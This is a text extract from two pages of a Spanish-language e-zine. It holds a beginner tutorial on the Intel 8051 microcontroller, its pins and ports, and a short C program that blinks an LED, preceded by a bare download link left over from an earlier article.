Screenshots:

By Aleks

Aquí tienen el enlace para descargarlo: http://rapidshare.com/files/132059297/Centinel_Final.rar.html

Page 91: CUH E-zine 4ª Edicion

Microcontroladores CUH e-zine 4ª edición

Hola, como han estado? Luego de haber visto juntos las bases de la electrónica y los componentes básicos de todo circuito vamos ahora a dar un salto, una bastante largo, y vamos a empezar a hablar de los microcontroladores. En un curso completo de electrónica deberíamos antes de llegar a este tema pasar por todos los tema de transistores, diodos y demás.... Pero eso nos llevaría mucho tiempo!!! Y además los aburriría. Con la teoría que ya tenemos será suficiente como para empezar a darle un vistazo a lo que es la electrónica que se usa hoy en día en todos los equipos que nos rodean, lo que nos haga falta, lo aprenderemos sobre la marcha. El Microcontrolador: El microcontrolador no es ni mas ni menos que una computadora en miniatura, es decir, dentro de un encapsulado plástico tenemos un microprocesador (como el de una PC pero menos potente), memoria, puertos de entrada y salida, timer y otros circuitos auxiliares. Donde hay microcontroladores?, bueno, en realidad deberíamos tratar de encontrar donde no los hay. Hoy en día están en todos lados, Lavarropas, Celulares, Automóviles, todo lo que tiene electrónica hoy en día tiene un microcontrolador de algún grado de complejidad.... Inclusive los casi para nada complejos, ya que con un micro pueden reemplazar un mayor numero de componentes y abaratar costos. El microcontrolador mas antiguo de uso masivo y cuyos clones continúan en producción hoy en día fue el Intel 8051, es un descendiente directo de la familia del 8088 y lo que se logro en el fue incorporar en un solo encapsulado el microprocesador, su lógica de control, memoria ROM y RAM y puertos paralelos de 8 bits además de un puerto serie.

Page 92: CUH E-zine 4ª Edicion

Microcontroladores CUH e-zine 4ª edición En el diagrama podemos ver todos los pines que posee este micro en particular para su interconexión con el “exterior”. Los pines marcados como P0.X, P1.X, P2.X, P3.X son los puertos paralelos, estos pueden ser comandados individualmente y nos permiten activar independientemente cualquiera de los pines. Estos también pueden funcionar como entradas. Si miramos con atención podremos ver que la mayoría de los pines PX.X tienen además una función alternativa que da otro nombre al pin. Por ejemplo el El P0 puede funcionar como líneas de datos y de address (multiplexado, es decir alternando una función y la otra) para direccionar una memoria externa. El P2 nos da mas líneas de dirección para lograr direccionar 64k de memoria externa. En el resto de los pines podemos ver los que permiten conectar el crista para el clock, los RxD y TxD del puerto serie, interrupciones, reset, etc. Además claro de los Vcc y Vss para a alimentación. Veamos un ejemplo super-básico, en el cual podremos constatar cuanto simplifica un microcontrolador un diseño electrónico.

Este circuito nos permite controlar el encendido y apagado de un LED, el PIN RST se conectara a GND, el negativo de la fuente de alimentación y cuando queremos resetear el micro, conectamos ese mismo pin a Vcc (+5V) Lógicamente ahora llega la pregunta esperada “Como hacemos para que el microcontrolador haga lo que yo necesito?” Y la respuesta es una simple y divertida palabra “programándolo!”

En un principio, los microcontroladores se programaban solo en assembler, lo cual, si bien era un mucho más simple que el del 8088 por ejemplo, no dejaba de ser algo complicado. Para nuestra fortuna hoy en día contamos con compiladores de C para casi todos los micros. Incluido claro el 8051, entonces, y solo a modo de muestra de lo que estamos hablando, vemos el programa en C que hará parpadear el led del circuito anterior: #pragma SMALL DB OE #include <reg51.h> sbit light = P2^0; /* definimos a que pin de que puerto equivale light */ /* Funcion Delay */ void delay(void){ int i, j; for(i=0; i<1000; i++){ /* dos ciclos for anidados */ for(j=0; j<100; j++){ /* para aumentar el delay */ i=i+0; } } } void main(void){ while(1){ light=0; /* enciende led */ delay(); /* ejecuta el delay para que el ojo pueda percibir el parpadeo */ light=1; /* apaga el led */ delay(); } } Bueno, por esta entrega es suficiente, ya tienen en mente de que se trata esto de los microcontroladores y un ejemplo básico de cómo usarlos. En próximas entregas veremos microcontroladores más fáciles de encontrar hoy en día en los comercios y que nos permitirá ir subiendo en complejidad los ejemplos. Gracias por vuestra atención!!!

Elektro